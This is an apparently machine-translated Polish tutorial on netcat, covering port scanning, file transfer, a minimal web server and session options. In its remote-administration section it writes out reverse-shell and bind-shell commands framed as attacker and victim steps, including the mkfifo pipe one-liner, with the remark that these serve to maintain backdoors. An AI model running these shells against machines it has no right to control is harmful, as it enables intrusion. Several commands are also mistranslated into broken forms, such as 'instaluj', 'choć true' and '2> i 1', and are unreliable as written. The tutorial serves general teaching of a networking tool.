Netcat - Szwajcarskie użycie noża armii

Netcat - Szwajcarskie użycie noża armii
Netcat to narzędzie używane do czytania i pisania danych w portach TCP i UDP. Może być używany do wielu fajnych rzeczy, takich jak transfer plików, skanowanie portów, przekierowanie portów, wstecz czyichś komputer, tworząc prosty program czatu, do rozwiązywania problemów z sieciami i nie tylko, dlatego jest znany jako szwajcarski nóż armii. Jest również wstępnie zainstalowany z prawie każdym dystrybucją Linuksa w dzisiejszych czasach i jest używany głównie przez administratorów sieci, DevOps i inżynierów bezpieczeństwa do ich codziennych małych zadań.

Krótka różnica między netcat-tradycyjnym a netcat-openbsd

Dostępne są dwa podobne pakiety dla NetCat z niewielką różnicą między nimi.

Netcat-tradycyjne Zawiera dodatkową opcję „-e”, której można użyć do powiązania programu (i.e bash) z netcat. Ta funkcja jest bardzo przydatna do celów zdalnych.

Netcat-Openbsd mieć dodatkową obsługę IPv6 i proxy.

Instalacja Netcat

Chociaż NetCat jest wstępnie zainstalowany w większości dystrybucji Linux, ale jeśli nie, można go łatwo zainstalować za pomocą następujących poleceń.

Dla tradycyjnego pakietu,

Ubuntu@ubuntu: ~ $ sudo apt-get instaluj netcat-tradycyjny

Dla wersji OpenBSD,

Ubuntu@ubuntu: ~ $ sudo apt-get instaluj netcat-openbsd

Netcat dla systemu Windows można pobrać stąd https: // sourceforge.Net/Projects/NC110/Files/.

Teraz zbadamy ciekawe przypadki użycia NETCAT

Skanowanie portów za pomocą Netcat

Aby skanować w poszukiwaniu otwartych portów, użyj opcji „-z”. Netcat będzie próbował połączyć się z każdym portem bez wysyłania danych lub bardzo ograniczonych danych w przypadku UDP. Wpisz następujące

Ubuntu@ubuntu: ~ $ nc -z -v hackme.Org 80
… Snip…
Hackme.org [217.78.1.155] 80 (HTTP) otwarte

Skanować w poszukiwaniu zakresu portów, typ

Ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Nieznane) [192.168.100.72] 80 (HTTP) otwarte
(Nieznane) [192.168.100.72] 22 (ssh) otwarte

Transfer pliku z NetCat

Innym przydatnym przypadkiem użycia NETCAT jest przesyłanie plików między komputerami zdalnymi. Możesz wysyłać SMS -y i pliki binarne z jednego komputera na inny komputer. Postaramy się wysłać plik „Plik.PDF ”od komputera Linux do Windows PC [IP 192.168.100.72] Używanie netcat jako przykładu.

Na komputerze Windows (odbiornik) wpisz następujące

C: \ Użytkownicy> NC -NVLP 1337> Plik.PDF
Słuchanie na [0.0.0.0] (Family 2, port 1337)

Na komputerze Linux (nadawca) wpisz następujące

Ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Połączenie z 192.168.100.72 1337 Port [TCP/*]!

Zdalna administracja z Netcat

Jednym z najlepszych przypadków użycia NETCAT jest zdalna administracja, co oznacza, że ​​możesz kontrolować czyny komputer za pomocą Netcat. Netcat-Tradytional jest wyposażony w opcję „-e”, której można użyć do powiązania programu (i.e cmd.exe w systemie Windows lub Bash in Linux) z portem, co oznacza, że ​​Netcat będzie działał jako komunikator między programem a zdalnym komputerem. NetCat odbiera polecenia z zdalnego komputera, wykonać w systemie lokalnym i odśle wyniki z powrotem do zdalnego komputera. Ta funkcja jest szeroko stosowana do złośliwych celów, aby utrzymać backdoors na komputerach i serwerach. Ta funkcja jest dostępna tylko w netcat-tradycyjnej, ale przy odrobinie sztuczki, netcat-openbsd może być również używany do tego samego celu. Możesz użyć dwóch sposobów kontrolowania komputera innych.

W Odwrotna powłoka Połączenie, atakujący słucha w porcie i czeka na wysłanie połączenia z maszyny ofiary. Jest używany, gdy komputer ofiary jest za NAT lub nie ma publicznego adresu IP.

Aby uzyskać odwrotną powłokę za pomocą NetCat, musisz słuchać w porcie za pomocą Netcat. Wpisz następujące na maszynie atakującego,

Ubuntu@ubuntu: ~ $ nc -nvlp 1337
Słuchanie na [0.0.0.0] (Family 2, port 1337)

Na maszynie ofiary (jeśli Netcat-tradycyjne jest zainstalowane)

// Wymień „/bin/bash” na „cmd.exe ”w przypadku systemu Windows

Ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash

Dla Netcat-Openbsd (gdzie opcja „-e” nie jest obsługiwana)

Ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; cat
/tmp/f |/bin/sh -i 2> i 1 | nc [ip_addr] 1337>/tmp/f

Podczas gdy Powiązanie powiązań Połączenie, atakujący wiąże port na komputerze ofiary i łączy się z tym portem za pomocą gniazda klienta. Jest używany, gdy maszyna atakującego jest za NAT lub nie ma publicznego adresu IP.

Na maszynie ofiary, typ

Ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Słuchanie na [dowolnym] 1337…

Teraz, aby uruchomić polecenia na maszynie ofiary, wpisz

Ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Połączenie z 127.0.0.1 1337 Port [TCP/*]!
$ id
UID = 1000 (AZAD) GID = 1000 (AZAD) Grupy = 1000 (AZAD), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (Dip), 46 (Plugdev), 118 (LPADMIN), 129 (Sambashare)

Prosty serwer WWW za pomocą Netcat

Możesz także zrobić kolejną prostą sztuczkę, aby użyć Netcat jako minimalnego serwera internetowego jednorazowego. Ten serwer WWW byłby bardzo prosty bez specjalnych konfiguracji i użyjemy do niego wyślemy nasz kod HTML do przeglądarki.

Ubuntu@ubuntu: ~ $ choć true; do echo -e "http/1.1 200 OK \ n \ n $ (echo "


Mój prosty serwer Webserver za pomocą Netcat

")" | NC -NVLP 1337; zrobione
Słuchanie na [0.0.0.0] (Family 2, port 1337)

Teraz spróbuj pobrać stronę za pomocą Curl

Ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/

Mój prosty serwer Webserver za pomocą Netcat

Określ limit czasu na sesję NetCat

Możesz określić limit czasu dla sesji netcat za pomocą opcji „-w”. Netcat automatycznie odłączy swoją sesję po ustaleniu określonego czasu.

// -w [czas w sekundach]
Ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Słuchanie na [0.0.0.0] (Family 2, port 1234)

Kontynuuj słuchanie, nawet jeśli klient zamyka połączenie

W trybie normalnym serwer NetCat wyłącza się i przestaje słuchać portu, gdy klient zamyka połączenie. Możesz utrzymać serwer za pomocą opcji „-K”

Ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Słuchanie na [0.0.0.0] (Family 2, port 1234)

Wniosek

Netcat jest prostym, ale wydajnym narzędziem, który może być używany do wielu prostych codziennych zadań. Jest wstępnie zainstalowany w prawie każdym systemie unix, takich jak systemy operacyjne i może być używany do różnych zadań, takich jak komunikacja między dwoma komputerami, przesyłanie plików i wiele innych.